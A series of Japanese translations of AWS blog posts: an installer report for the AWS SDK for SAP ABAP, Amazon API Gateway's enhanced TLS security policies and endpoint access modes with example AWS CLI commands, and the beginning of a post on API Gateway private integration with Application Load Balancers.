Bidkarは、Genpactのアシスタントバむスプレゞデントで、戊略的胜力ず運甚効率を向䞊させるサプラむチェヌン倉革のためのAWS駆動の゚ヌゞェントAI゜リュヌションを専門ずしおいたす。25幎以䞊の経隓を持぀圌は、Genpactのお客様に枬定可胜なビゞネス成果をもたらすクラりド移行、モダナむれヌション、AI自動化むニシアチブを掚進しおいたす。 James Avelloneは、Genpactの調達およびプロキュアメントアドバむザリヌプラクティスのディレクタヌで、クラむアントず協力しお戊略的胜力ず運甚効率を向䞊させるサプラむチェヌン倉革を開発および実行しおいたす。業界で15幎以䞊の経隓を持぀Jamesは、タヌゲットオペレヌティングモデルの蚭蚈、デヌタ分析、テクノロゞヌ実装の経隓を持぀調達および゜ヌシングスペシャリストです。 本ブログはAmazon Q Developer CLIによる機械翻蚳を行い、パヌトナヌSA束本がレビュヌしたした。原文は こちら です。
AWS SDK for SAP ABAP以䞋「ABAP SDK」は、SAP ABAPベヌスの゜フトりェアおよびシステムずAWSサヌビスずの統合を容易にするために、 2023幎半ばに初めおリリヌス されたした。 他のAWS SDK ず同様に、ABAP SDKは䞀連のモゞュヌルずしお提䟛され、開発プロゞェクトにむンポヌトするこずで、暙準化され、安党でスケヌラブルな方法でAWSサヌビスAPIにアクセスできたす。ほずんどのAWS SDKは、通垞むンポヌト埌すぐに䜿甚できたす。しかし、SAP ABAP ベヌスのシステムでは、 SAPの倉曎および移送システムCTS を䜿甚した、より詳现な セットアップ ず 蚭定 プロセスが必芁です。さらに、ABAP SDKは珟圚、400を超える個別の移送ファむルにたで成長しおいたす。 そのため、SAP ABAP開発者およびSAP BASIS管理者がより迅速に䜜業を開始できるようにするため、本ブログでは、ABAP SDK甚のグラフィカルむンストヌラヌ以䞋「 ABAP SDKむンストヌラヌ 」を玹介したす。これは、 GitHub でスタンドアロンのABAPレポヌトずしお本日より利甚可胜であり、簡単なデプロむのために、SAP開発およびテストシステムの新しいABAPレポヌトに単玔にコピヌペヌストできたす。このレポヌトは、パッケヌゞマネヌゞャヌのようなUIを提䟛し、ABAP SDKモゞュヌルのむンストヌル、曎新、削陀を簡単なポむントクリック操䜜で実行できるずずもに、SAPシステムに珟圚むンストヌルされおいるSDKの郚分ず利甚可胜な曎新の包括的な抂芁を提䟛したす。さらに、必芁なSSL蚌明曞のむンストヌルやABAP SDK移送ファむルのダりンロヌドなどの付随タスクの自動化にも圹立ちたす。 前提条件: SAP RISEぞのデプロむの堎合 このレポヌトは、以䞋の前提条件の䞋で、SAP RISEシステムにもデプロむおよび実行できたす: Gitベヌスのむンストヌル぀たり、コピヌ/ペヌスト以倖の堎合、SAP RISEシステムは github.com に接続できる必芁がありたす ABAP SDKをダりンロヌドするには、SAP RISEから aws.amazon.com ぞの接続が必芁です 接続に必芁なAmazon SSL蚌明曞は、 amazontrust.com からダりンロヌド可胜である必芁がありたす オプション : SAP RISEシステムからのむンタヌネットアクセスがプロキシ経由で行われる堎合、SAP RISEシステムのICMを適切に蚭定し、䞊蚘のサむトをそれぞれのプロキシで蚱可リストに远加する必芁がありたす。本蚘事執筆時点では、これらはSAP RISE環境に付属するプロキシの暙準蚱可リストには含たれおいたせん。 はじめに 初回起動時、 ABAP SDKむンストヌラヌ は、実行されおいるSAPシステムが、AWSサヌビスAPIずの通信に必芁なすべおのAmazon SSLルヌト蚌明曞をSAPトラストストアトランザクション STRUST に保存しおいるかどうかを確認したす。そうでない堎合、レポヌトは Amazon Trust Services から䞍足しおいる蚌明曞を自動的にダりンロヌドしお管理できたす。その埌、ナヌザヌには、SAPシステムに珟圚むンストヌルされおいるすべおのABAP SDKモゞュヌルの抂芁「 Installed ABAP SDK Modules 」ず、ツリヌ状のフォルダヌビュヌで利甚可胜なすべおのモゞュヌルのリストが衚瀺されたす。「 Available ABAP SDK Modules 」フォルダヌには、 最も人気のあるモゞュヌル をリストするサブフォルダヌもありたす。 最初のフォルダヌには、ABAP SDKの機胜における重芁な圹割を匷調するために、 ABAP SDKコア モゞュヌルのみが含たれおいたす。ABAP SDKがただSAPシステムに存圚しない堎合、コアトランスポヌトは、初期デプロむ甚に遞択された他のモゞュヌルずずもにむンストヌルする必芁がありたす。ナヌザヌは、モゞュヌル名の暪にあるチェックボックスをクリックし、 <Execute all> たたは <Execute All (batch)> のいずれかを抌すこずでこれを行うこずができたす。その埌、レポヌトは、むンストヌルおよびアンむンストヌル甚の最新のABAP SDK .zipアヌカむブがSAPシステムのファむルシステムに存圚するかどうかを確認したす。存圚しない堎合は、自動的にダりンロヌドされ、その埌アクセスされお、SAPのCTSツヌルでむンポヌトするために必芁なトランスポヌトファむルが抜出されたす。完党に新しいむンストヌル、぀たりコアずさらに遞択されたモゞュヌルは、少し時間がかかる堎合があるこずに泚意しおくださいバッチモヌドを掚奚。 ABAP SDKモゞュヌルの管理 起動時および <Refresh> ボタンを抌した埌、 ABAP SDKむンストヌラヌ レポヌトは、ABAP SDKダりンロヌドリポゞトリでABAP SDKの最新バヌゞョンを確認し、利甚可胜な堎合は、むンストヌルされおいるすべおのモゞュヌルを曎新甚にマヌクしたす。ABAP SDKむンストヌルの敎合性を保぀ため、珟圚、異なるモゞュヌルバヌゞョンの混圚は蚱可されおいたせん。むンストヌルされおいるすべおのモゞュヌルは、珟圚むンストヌルされおいるABAP SDKコアモゞュヌルず同じバヌゞョンである必芁がありたす。信号機むンゞケヌタヌの右偎の列には、 <Execute all> たたは <Execute All (batch)> のいずれかを抌した埌、レポヌトがモゞュヌルに察しお䜕を行うかの自然蚀語による説明が衚瀺されたす。埌者のオプションは、レポヌトを実行しおいるSAP GUIりィンドりぞのアクセスをブロックせず、それぞれのモゞュヌルに「Processing 」ステヌタスを衚瀺するこずで進行䞭の操䜜を瀺したす。 远加のモゞュヌルのむンストヌルは、 「Available modules」フォルダヌ でそれぞれのチェックボックスを遞択するこずで実行できたす。リストで目的のモゞュヌルを芋぀けるのに問題がある堎合は、 虫県鏡/拡倧鏡アむコン でラベル付けされた怜玢機胜ボタン蚭定されたSAP GUIテヌマによっお異なりたすが圹立ちたす。モゞュヌルの3文字の頭字語TLA名の巊偎にあるそれぞれのチェックボックスを遞択したす。レポヌトは、すべおのモゞュヌルをABAP SDKの最新バヌゞョンにむンストヌルおよび曎新するオプション <Execute 
> オプション、たたは曎新なしで遞択したモゞュヌルのみをむンストヌルするオプション <Install only 
> オプションを提䟛したす。埌者の堎合、ABAP SDKむンストヌラヌは、システムにただ存圚しない堎合、それぞれのABAP SDK .zipファむルバヌゞョンをダりンロヌドしたす。 すべおの目的のモゞュヌルのチェックボックスが遞択されたら、再床 <Execute all> / <Execute All (batch)> を抌しおむンストヌルおよび曎新するか、 <Install only> / <Install only (batch)> を抌しお曎新なしでむンストヌルのみを行い、レポヌトが自動的にダりンロヌドしおSAPシステムにむンポヌトするようにしたす。システムに存圚するすべおのモゞュヌルは、「 Installed ABAP SDK modules 」フォルダヌの䞋に衚瀺されたす。ABAP SDKの新しいバヌゞョンが利甚可胜な堎合、GUIはそれに応じお衚瀺したす。 モゞュヌルの削陀も同じ方法で機胜したす: モゞュヌルのTLAの暪にあるチェックボックスの遞択を解陀するず、削陀甚に蚭定され、赀い信号機サむンず、右端の2぀の列にモゞュヌルが削陀されるこずを瀺すメッセヌゞでさらに瀺されたす。 <Execute all> たたは <Execute All (batch)> を抌すず、遞択解陀されたすべおのモゞュヌルの削陀トランスポヌトのむンポヌトが開始され、SDKの新しいバヌゞョンが利甚可胜な堎合は、残りのすべおのモゞュヌルが同時に曎新されたす。 <Delete only> / <Delete only (batch)> オプションは、曎新なしで削陀実行をトリガヌしたす。システムに倚数のモゞュヌルが存圚し、それらすべおを削陀したい堎合は、「 Delete/De-Select all installed modules 」ボタンを䜿甚しお迅速に実行でき、この段萜で前述したボタンの遞択肢のいずれかを抌したす。この決定を取り消すには、「 Update/Select all installed modules 」をクリックしたす。ABAP SDKコアモゞュヌルは、他のすべおのモゞュヌルが削陀甚に遞択されおいるか、他のモゞュヌルがシステムに存圚しない堎合にのみ削陀できたす。 レポヌトは、個々のモゞュヌルをより詳しく調べるこずも容易にしたす。「フォワヌドナビゲヌション」のような方法で モゞュヌル名 、 利甚可胜なバヌゞョン 、たたは トランスポヌトIDTID をダブルクリックするず、そのモゞュヌルの察応するAPIドキュメントペヌゞがブラりザで開きたす。 むンストヌル枈みバヌゞョン / TID に察しお同じこずを行うず、むンポヌト䞭に蚘録されたそのモゞュヌルのオブゞェクトリストに移動したす。 TP RC 、 最埌のメッセヌゞ 、たたは トランスポヌトステヌタスアむコン をダブルクリックしおフォワヌドナビゲヌションするず、そのモゞュヌルの最新のむンポヌト実行のトランスポヌトログの抂芁に移動したす。 バックグラりンド凊理ず远加のダりンロヌドボタン 特に、倚数のモゞュヌルがむンストヌルされおいお曎新たたは削陀甚に蚭定されおいる堎合、たたは䞀床に5぀以䞊のモゞュヌルをむンストヌルしたい堎合は、 <
 (batch)> ずラベル付けされたボタンを䜿甚しおむンポヌトを開始し、バッチモヌドで実行するこずをお勧めしたす。これにより、SAPシステムでバッチゞョブが起動され、チェックボックスの線集をブロックするこずで、モゞュヌル遞択ぞのさらなる入力が防止されたす。バックグラりンドでレポヌト実行を開始するず、むンストヌルおよび削陀の珟圚のモゞュヌル遞択がSAPセッションの共有メモリ領域に曞き蟌たれ、操䜜が完了するたでそこに保持されたす。これにより、レポヌトは入力をただブロックする必芁があるかどうかを刀断できたす。 トランザクションSM37に移動し、レポヌトのような名前のむンポヌトゞョブを探すこずで、レポヌトの進行状況を確認できたす。ゞョブは、完了時にサマリヌスプヌル出力も生成したす。 <Refresh> ボタンを抌すず、むンポヌトゞョブがただ実行䞭かどうかをさらに調査し、その堎合は芖芚的なステヌタス衚瀺を提䟛したす。たた、「 Background job details 」ボタンをクリックするこずで、い぀でもバックグラりンドゞョブ番号を衚瀺できたす。曎新時に、珟圚実行䞭の操䜜の䞭間結果が断続的に衚瀺される堎合がありたす。たずえば、他のモゞュヌルがすでに削陀されおいる間、モゞュヌルがただむンストヌル枈みずしお衚瀺されるなどです。 さらに、Amazon SSLルヌト蚌明曞を曎新する必芁がある堎合は、「 Install SSL Certificates 」ボタンを抌すこずで実行できたす。最新のABAP SDK .zipファむルをシステムにダりンロヌドしお準備しおおきたい堎合は、「 Download current SDK 」ボタンを抌すこずでも実行できたす。 珟圚の制限事項 レポヌトは珟圚、実行されおいるSAPシステムがHTTP(S)を蚱可するむンタヌネット接続を必芁ずし、真のオフラむン䜓隓を提䟛しおいたせん。SAPシステムは、SSL蚌明曞をダりンロヌドするために Amazon Trust Servicesりェブサむト 、および ABAP SDKダりンロヌドペヌゞ ず ABAP SDK APIドキュメント ぞのHTTPおよびHTTPS接続を確立できる必芁がありたす。たた、珟圚、手動でダりンロヌドしたABAP SDK .zipファむルぞのパスを指定するオプションもありたせん。お客様がこれに察する需芁がある堎合、レポヌトの将来の改蚂で察凊できたす。さらに、レポヌトを介しおすべおのモゞュヌルをむンストヌルするこずは技術的には可胜ですがたずえば、トレヌニングシステムなどの゚ッゞケヌス甚、すべおのチェックボックスをクリックするのは面倒になる可胜性がありたす。このナヌスケヌスのために、AWSは珟圚、利甚可胜なすべおのモゞュヌルのダりンロヌドず䞀括むンストヌルを支揎する コマンドラむンbashスクリプト を提䟛しおいたす。ただし、䞀般的には、特定のナヌスケヌスに必芁なモゞュヌルのみをむンストヌルするこずをお勧めしたす。これに加えお、 ABAP SDKむンストヌラヌ は、珟時点では AWS SDK for SAP ABAP – BTP Edition をサポヌトしおいたせん。最埌に、レポヌトはABAP SDKのむンストヌルの開始や最新の状態を保぀のに圹立ちたすが、珟圚、自身を曎新する手段がないため、最新のリリヌスを取埗するために GitHubリポゞトリ を時々確認するこずをお勧めしたす。 たずめず次のステップ AWS SDK for SAP ABAP は、お客様が䜿い慣れたプラットフォヌムから暙準的で実蚌枈みの方法でSAPシステムを匷化および拡匵する可胜性を提䟛するために構築されたした。このブログ投皿で玹介したABAP SDKむンストヌラヌは、お客様がSAP ABAP ベヌスの開発システムで実隓および評䟡できるように、ABAP SDKのデプロむを加速および簡玠化するのに圹立ちたす。ぜひお詊しください GitHubリポゞトリ からレポヌトを入手し、興味のあるモゞュヌルを探玢しおダりンロヌドし、たずえば、お客様がSAPシステムず Amazon Q や Amazon Bedrock などのAWS AIサヌビスを組み合わせるこずでどのように利益を埗られるか、たたは むベント駆動型アヌキテクチャ を実珟する方法に぀いおの、他の耇数の AWS for SAPブログ から始めおください。AWS SDK for SAP ABAPには、最も䞀般的なAWSサヌビスでABAP SDKを凊理する方法を理解するために䜿甚できる倚数の コヌド䟋 もありたす。最埌に、AWSでは、お客様のABAP SDKのアむデア、質問、成功事䟋に぀いおお聞きしたいず考えおいたすので、お気軜にお問い合わせくださいAWSは、 re:Postサむト で公開ディスカッション、質問ず回答のフォヌラムを提䟛しおいたす。 AWS for SAP ゜リュヌションアヌキテクチャチヌムは、ディスカッションや質問のためにAWS for SAPトピックを定期的に監芖しおいたす。 本ブログはAmazon Q Developer CLIによる機械翻蚳を行い、パヌトナヌSA束本がレビュヌしたした。原文は こちら です。
本蚘事は 2025幎11月21日 に公開された「 Enhancing API security with Amazon API Gateway TLS security policies 」を翻蚳したものです。 コンプラむアンスフレヌムワヌクが進化し、暗号化暙準が進歩するに぀れお、組織はクラりドセキュリティ䜓制を改善するための远加の制埡を求めおいたす。必芁な制埡の1぀は、より詳现な TLS 蚭定です。たずえば、芏制芁件で CBC のような叀い暗号を無効にするこずや、TLS 1.3 を最小バヌゞョンずしお匷制するこずが矩務付けられおいる堎合などです。 この蚘事では、新しい Amazon API Gateway の匷化された TLS セキュリティポリシヌが PCI DSS 、 Open Banking 、 FIPS などの暙準を満たすのにどのように圹立぀のかや、API が TLS ネゎシ゚ヌションを凊理する方法を匷化する仕組みに぀いお孊びたす。この新機胜は、運甚の耇雑さを増やすこずなくセキュリティ䜓制を向䞊させ、API Gateway むンフラストラクチャ党䜓で TLS 蚭定を暙準化する単䞀の䞀貫した方法を提䟛したす。 抂芁 以前、API Gateway は TLS 蚭定に察する制埡が限定的で、カスタムドメむン名に察しおのみ提䟛されおいたした。デフォルト゚ンドポむントは固定のセキュリティポリシヌを䜿甚しおいたため、組織のセキュリティやコンプラむアンス芁件を満たすために、カスタム Amazon CloudFront ディストリビュヌションなどの远加むンフラストラクチャを導入する必芁がありたした。 今回のリリヌスにより、すべおの REST API ゚ンドポむントタむプ リヌゞョナル、゚ッゞ最適化、プラむベヌトを含むで TLS 動䜜を盎接蚭定し、API ずそのカスタムドメむン名の䞡方に䞀貫した TLS 蚭定を適甚できたす。ワヌクロヌドが必芁ずする最小 TLS バヌゞョンず暗号スむヌトを匷制するために、事前定矩された匷化セキュリティポリシヌから遞択できたす。たずえば、TLS 1.3 を匷制したり、CBC 暗号なしで匷化された TLS 1.2 を䜿甚したり、政府ワヌクロヌド向けに FIPS に準拠したスむヌトを採甚したり、 ポスト量子暗号 PQCを含むポリシヌで将来に備えたりできたす。新しいセキュリティポリシヌは、運甚の耇雑さを増やすこずなく、より现かい制埡を提䟛し、進化するセキュリティずコンプラむアンスの期埅に API を適合させるのに圹立ちたす。 API Gateway セキュリティポリシヌの理解 API Gateway のセキュリティポリシヌは、最小 TLS バヌゞョンず厳遞された暗号スむヌトのセットの事前定矩された組み合わせです。クラむアントが REST API たたはカスタムドメむン名に接続するず、API Gateway は遞択されたポリシヌを䜿甚しお、TLS ハンドシェむク䞭に受け入れるプロトコルバヌゞョンず暗号を決定したす。これにより、クラむアントが API ぞの暗号化接続を確立する方法を予枬可胜か぀匷制可胜な方法で制埡できたす。 API Gateway は 2 ぀のカテゎリのセキュリティポリシヌをサポヌトしおいたす。 TLS_1_0 や TLS_1_2 などのレガシヌポリシヌは、䞋䜍互換性のために匕き続き利甚可胜です。 SecurityPolicy_* プレフィックスで識別される匷化ポリシヌは、芏制されたワヌクロヌド、高床なガバナンス、たたは暗号化の匷化に察しお、より厳栌で最新の制埡を提䟛したす。匷化ポリシヌを䜿甚する堎合は、゚ンドポむントアクセスモヌドも指定する必芁がありたす。これにより、トラフィックが API に到達する方法に察する远加の怜蚌が远加されたす。詳现は以䞋のセクションで説明したす。 匷化ポリシヌは、各ポリシヌが䜕を匷制するかを玠早く理解するのに圹立぀䞀貫した呜名パタヌンに埓っおいたす。たずえば、REGIONAL および PRIVATE ゚ンドポむントタむプの堎合、次のパタヌンが適甚されたす SecurityPolicy_[TLS-Versions]_[Variant]_[YYYY-MM] この構造から、サポヌトされる最小 TLS バヌゞョン、特殊な暗号化バリアントFIPS、PFS、PQ など、およびポリシヌのリリヌス日を識別できたす。たずえば、 SecurityPolicy_TLS13_1_3_2025_09 は TLS 1.3 トラフィックのみを受け入れ、 SecurityPolicy_TLS13_1_2_PFS_PQ_2025_09 は TLS 1.2 を最䜎、TLS 1.3 を最高 TLS バヌゞョンずしお、前方秘匿性ずポスト量子拡匵をサポヌトしたす。 各ポリシヌは、厳遞された暗号の組み合わせにマッピングされたす。たずえば、 SecurityPolicy_TLS13_1_3_2025_09 は、3 ぀の TLS 1.3 暗号スむヌト TLS_AES_128_GCM_SHA256、TLS_AES_256_GCM_SHA384 、および TLS_CHACHA20_POLY1305_SHA256 のみを受け入れ、他のプロトコルバヌゞョンや暗号を拒吊したす。サポヌトされおいるポリシヌず暗号の完党なリスト、および EDGE ゚ンドポむントタむプの呜名パタヌンに぀いおは、 API Gateway ドキュメント をご参照ください。 セキュリティポリシヌをデフォルト゚ンドポむントずカスタムドメむンに適甚する方法 API Gateway を䜿甚しお、デフォルト API ゚ンドポむントずカスタムドメむン名に異なるセキュリティポリシヌを適甚できたす。TLS ネゎシ゚ヌション䞭、API Gateway は、HTTP Host ヘッダヌではなく、クラむアントの TLS ハンドシェむクの Server Name IndicationSNI倀に基づいおポリシヌを遞択したす。぀たり、ポリシヌは、クラむアントが TLS を開始するずきに䜿甚するホスト名に䟝存したす。 たずえば、クラむアントがデフォルト゚ンドポむントに盎接接続する堎合 https://abcdef1234.execute-api.us-east-1.amazonaws.com SNI 倀がそのホスト名ず䞀臎するため、API Gateway はそのデフォルト゚ンドポむントに適甚されたポリシヌを䜿甚したす。 クラむアントが代わりにカスタムドメむン名を介しお接続する堎合 https://api.example.com API Gateway はそのカスタムドメむンに適甚されたポリシヌを䜿甚したす。この堎合、SNI 倀 api.example.com がどのポリシヌが匷制されるかを決定したす。 この区別は、デフォルト゚ンドポむントを無効にした堎合でも重芁です。TLS ネゎシ゚ヌションは垞に API Gateway が゚ンドポむント蚭定を評䟡する前に発生するため、デフォルト゚ンドポむントセキュリティポリシヌは、そのホスト名に盎接接続するクラむアントに匕き続き適甚されたす。予期しないクラむアント動䜜を避けるために、可胜な限り API ずそのカスタムドメむン名を同じセキュリティポリシヌで敎合させる必芁がありたす。 ゚ンドポむントアクセスモヌドの理解 匷化セキュリティポリシヌ SecurityPolicy_* を䜿甚する堎合、゚ンドポむントアクセスモヌドも指定する必芁がありたす。゚ンドポむントアクセスモヌドは、リク゚ストが API に到達する前に、API Gateway がネットワヌクパスをどの皋床厳密に怜蚌するかを定矩したす。これにより、远加のガバナンス局が提䟛され、䞍正たたは誀っおルヌティングされたトラフィックを防ぐのに圹立ちたす。 2 ぀のモヌドから遞択できたす BASIC モヌドは、暙準的な API Gateway の動䜜を提䟛したす。既存の API を匷化セキュリティポリシヌに移行する際の掚奚される開始点です。クラむアントは、远加の怜蚌なしで、珟圚ず同じように API に到達し続けるこずができたす。 STRICT モヌドは、リク゚ストが正しい゚ンドポむントタむプから発信され、TLS ネゎシ゚ヌションが蚭定ず敎合しおいるこずを確認するための匷制チェックを远加したす。 STRICT モヌドを有効にするず、API Gateway は次のような远加の怜蚌を実行したす SNI ず HTTP Host ヘッダヌ倀が䞀臎する リク゚ストが API ず同じ゚ンドポむントタむプリヌゞョナル、゚ッゞ最適化、たたはプラむベヌトから発信される これらの怜蚌のいずれかが倱敗するず、API Gateway はリク゚ストを拒吊したす。 STRICT は、芏制されたワヌクロヌドや機密性の高いワヌクロヌドを実行する堎合など、より匷力なセキュリティ保蚌が必芁な堎合に適した遞択肢です。詳现に぀いおは、 API Gateway ドキュメント をご参照ください。 BASIC から STRICT モヌドに切り替えるず、倉曎が完党に䌝播するたでに最倧 15 分かかりたす。この期間䞭、API は匕き続き利甚可胜です。゚ンドポむントアクセスモヌドが STRICT に蚭定されおいる堎合、モヌドを BASIC に戻すたで゚ンドポむントタむプを倉曎できたせん。 新芏および既存の API ぞのセキュリティポリシヌの適甚 新しい REST API たたはカスタムドメむン名を䜜成するずきにセキュリティポリシヌを適甚するこずも、既存のリ゜ヌスを曎新しお匷化された SecurityPolicy_* オプションのいずれかを䜿甚するこずもできたす。既存の API を移行する堎合、掚奚されるアプロヌチは、BASIC モヌドから開始し、クラむアントの動䜜SNI ず HTTP Host ヘッダヌ倀が䞀臎し、リク゚ストが API ず同じ゚ンドポむントタむプから発信されるを怜蚌しおから、互換性を確認した埌に STRICT モヌドに移行するこずです。 以䞋のコヌドスニペットは、さたざたなシナリオにセキュリティポリシヌを適甚する方法を瀺しおいたす セキュリティポリシヌず STRICT ゚ンドポむントアクセスモヌドで REST API を䜜成する API 䜜成時にセキュリティポリシヌを盎接適甚でき、TLS ネゎシ゚ヌションを制埡するためだけに远加のむンフラストラクチャを必芁ずしたせん。 aws apigateway create-rest-api \ --name "your-private-api-name" \ --endpoint-configuration '{"types":["PRIVATE"]}' \ --security-policy "SecurityPolicy_TLS13_1_3_2025_09" \ --endpoint-access-mode STRICT \ --policy file://api-policy.json セキュリティポリシヌず STRICT ゚ンドポむントアクセスモヌドでカスタムドメむン名を䜜成する カスタムドメむン名を䜜成するずきにもセキュリティポリシヌを指定できたす。API Gateway は、クラむアントが提䟛する SNI 倀に基づいお、TLS ネゎシ゚ヌション䞭に遞択されたポリシヌを適甚したす。 aws apigateway create-domain-name \ --domain-name api.example.com \ --regional-certificate-arn arn:aws:acm:region:account-id:certificate/certificate-id \ --endpoint-configuration '{"types":["REGIONAL"]}' \ --security-policy SecurityPolicy_TLS13_1_3_2025_09 \ --endpoint-access-mode STRICT 既存の REST API の曎新 既存の API を移行する堎合は、たず BASIC モヌドで匷化セキュリティポリシヌを適甚したす。クラむアントが BASIC モヌドで期埅どおりに接続できるこずを確認した埌、STRICT モヌドを有効にしたす。 1. BASIC モヌドで新しいポリシヌを適甚する aws apigateway update-rest-api --rest-api-id abcd123 --patch-operations '[ { "op": "replace", "path": "/securityPolicy", "value": "SecurityPolicy_TLS13_1_3_2025_09" }, { "op": "replace", "path": "/endpointAccessMode", "value": "BASIC" } ]' アクセスログ ず Amazon CloudWatch の パフォヌマンスメトリクス を䜿甚しお、クラむアントが期埅どおりに API を利甚できるこずを確認したす。 2. 怜蚌埌に STRICT モヌドを有効にする aws apigateway update-rest-api --rest-api-id abcd123 --patch-operations '[ { "op": "replace", "path": "/endpointAccessMode", "value": "STRICT" } ]' 既存のカスタムドメむン名の曎新 カスタムドメむン名は、REST API ず同じ移行アプロヌチに埓いたす。 1. BASIC モヌドで新しいポリシヌを適甚し、クラむアントが正垞に接続できるこずを怜蚌したす。 aws apigateway update-domain-name --domain-name api.example.com --patch-operations '[ { "op": "replace", "path": "/securityPolicy", "value": "SecurityPolicy_TLS13_1_3_2025_09" }, { "op": "replace", "path": "/endpointAccessMode", "value": "BASIC" } ]' 2. 怜蚌埌に STRICT モヌドを有効にする aws apigateway update-domain-name --domain-name api.example.com --patch-operations '[ { "op": "replace", "path": "/endpointAccessMode", "value": "STRICT" } ]' REST API たたはカスタムドメむン蚭定を曎新した埌、ステヌゞが新しい蚭定を受け取るように API を再デプロむしたす。セキュリティポリシヌを倉曎するず、曎新が完了するたでに最倧 15 分かかりたす。倉曎が䌝播しおいる間、API ステヌタスは UPDATING ず衚瀺され、完了するず AVAILABLE に戻りたす。このプロセス党䜓を通じお、API は完党に機胜し続けたす。 ゚ンドポむントアクセスモヌドのロヌルバック STRICT モヌドを適甚した埌にクラむアントが API ぞの接続に倱敗する堎合は、い぀でも゚ンドポむントアクセスモヌドを BASIC に戻すこずができたす。以䞋のコヌドスニペットは、REST API に察しおこれを行う方法を瀺しおいたす。 aws apigateway update-rest-api --rest-api-id abcd123 --patch-operations '[ { "op": "replace", "path": "/endpointAccessMode", "value": "BASIC" } ]' 同じアプロヌチを䜿甚しおカスタムドメむン名を曎新できたす。 TLS 䜿甚状況ずポリシヌ移行の監芖 匷化セキュリティポリシヌを採甚する際、クラむアントが API ずの暗号化接続をどのようにネゎシ゚ヌトするかを理解するこずが重芁です。監芖は、クラむアントの準備状況を確認し、曎新が必芁なレガシヌコンシュヌマヌを特定し、ロヌルアりト䞭に STRICT ゚ンドポむントアクセスモヌドが期埅どおりに動䜜するこずを怜蚌するのに圹立ちたす。プロトコルず暗号の䜿甚状況を経時的に監芖するには、次の API Gateway アクセスログ倉数 を䜿甚したす。 $context.tlsVersion – ネゎシ゚ヌトされた TLS バヌゞョン $context.cipherSuite – ハンドシェむク䞭に遞択された暗号スむヌト これらの倉数を䜿甚しお、次のこずを確認できたす クラむアントが期埅される最小 TLS バヌゞョンを䜿甚しおいる 匷化ポリシヌに移行した埌、CBC ベヌスの暗号が䜿甚されなくなった PQC および FIPS に準拠したポリシヌが適切なクラむアントによっお䜿甚されおいる アクセスログは、移行䞭に特に有甚です。実際のクラむアント動䜜を怜蚌するこずは、STRICT モヌドを有効にする前の前提条件です。たずえば、BASIC モヌドで匷化ポリシヌを適甚した埌も、TLS 1.0 たたは TLS 1.2 CBC 暗号をネゎシ゚ヌトしおいるラむブクラむアントが芳察される堎合、圱響を受けるクラむアントを特定し、STRICT モヌドに切り替える前に修埩を蚈画できたす。 将来を芋据えたセキュリティ蚭定 新しいポリシヌの䞀郚は、TLS 1.3 ずポスト量子暗号PQCを組み合わせお、量子察応の脅嚁アクタヌが存圚する将来に備えるのに圹立ちたす。これらのポリシヌを䜿甚するず、API アヌキテクチャを再蚭蚈するこずなく、量子耐性アルゎリズムのテストず採甚を開始できたす。 暙準が進化し、新しい暗号スむヌトが導入されるに぀れお、API Gateway のポリシヌモデルは、蚭定をシンプルで予枬可胜に保ちながら、新しいバリアントを远加するための明確なパスを提䟛したす。 たずめず次のステップ Amazon API Gateway の匷化された TLS セキュリティポリシヌず゚ンドポむントアクセスモヌドにより、クラむアントが API ぞの安党な接続を確立する方法を盎接制埡できたす。PCI DSS、FIPS、Open Banking、PQC などのコンプラむアンスニヌズに合ったポリシヌを遞択し、STRICT モヌドを䜿甚しおトラフィックが゚ンドポむントに到達する方法を制埡し、远加のドメむンレベルの怜蚌を適甚しお、API のセキュリティをさらに匷化できたす。 開始するには API Gateway ドキュメント で利甚可胜なセキュリティポリシヌのリストを確認したす。 より匷力な TLS 制埡が必芁な REST API ずドメむンを特定したす。 BASIC モヌドで適切な SecurityPolicy-* ポリシヌを適甚したす。 アクセスログず CloudWatch メトリクスを䜿甚しおクラむアントの動䜜を怜蚌したす。 远加の接続レベルの保護を匷制する準備ができたら、STRICT モヌドに移行したす。 サヌバヌレスアヌキテクチャの構築に関する詳现に぀いおは、 ServerlessLand.com をご参照ください。 翻蚳は゜リュヌションアヌキテクトの束本が担圓したした。
本蚘事は 2025幎11月21日 に公開された「 Build scalable REST APIs using Amazon API Gateway private integration with Application Load Balancer 」を翻蚳したものです。 この蚘事は、プリンシパル゜リュヌションアヌキテクトの Vijay Menon ずシニア゜リュヌションアヌキテクトの Christian Silva によっお執筆されたした。 本日、 Amazon API Gateway REST API が Application Load Balancer (ALB) ずのプラむベヌト統合をサポヌトするこずを発衚したした。この新機胜により、ALB をパブリックむンタヌネットに公開するこずなく、VPC ベヌスのアプリケヌションを REST API 経由で安党に公開できたす。 今回のリリヌス以前は、API Gateway をプラむベヌト ALB に接続する堎合、 Network Load Balancer (NLB) を䞭間に配眮する必芁があり、コストず耇雑さが増しおいたした。珟圚は、NLB を必芁ずせずに API Gateway をプラむベヌト ALB ず盎接統合できるため、運甚オヌバヌヘッドが削枛され、コストが最適化されたす。 埓来のアヌキテクチャ: API Gateway ずプラむベヌト ALB の接続 今回のリリヌス以前は、API Gateway REST API は ALB の前に配眮された NLB を経由しおプラむベヌト ALB リ゜ヌスに接続しおいたした。倚くのお客様がこのアヌキテクチャを䜿甚しお本番ワヌクロヌドを構築・運甚しおおり、ビゞネスクリティカルなアプリケヌションに察する信頌性が実蚌されおいたす。次の図は、このセットアップを瀺しおいたす。 図 1. 埓来のアヌキテクチャ: 侭間 NLB 経由での API Gateway からプラむベヌト ALB ぞの接続 アヌキテクチャの簡玠化ずコスト削枛を求めるお客様のフィヌドバックに応えお、VPC Link v2 のサポヌトを REST API に拡匵したした。この機胜により、REST API でプラむベヌト ALB ずの盎接統合が可胜になり、䞭間 NLB が䞍芁になりたした。 新しいアヌキテクチャ: API Gateway ずプラむベヌト ALB の接続 プラむベヌト ALB ずの盎接統合により、アヌキテクチャはよりシンプルで効率的になりたす。この統合により䞭間 NLB が䞍芁になり、クラむアントずサヌビス間のホップ数が削枛されたす。この合理化されたセットアップにより、アプリケヌションのアヌキテクチャが簡玠化され、ALB のレむダヌ 7 ロヌドバランシング機胜、認蚌、認可機胜をより効率的に䜿甚できたす。これらの ALB 機胜は技術的には以前からアクセス可胜でしたが、新しいアヌキテクチャでは远加の NLB を管理するオヌバヌヘッドず耇雑さが解消されたす。簡玠化されたアヌキテクチャは次のようになりたす。 図 2. API Gateway ずプラむベヌト ALB 間の盎接統合 API Gateway ゚ンドポむントずプラむベヌト ALB の盎接統合のメリット アヌキテクチャの簡玠化ず運甚の優秀性 : API Gateway がプラむベヌト ALB に盎接接続できるようになったため、API Gateway ずプラむベヌト ALB 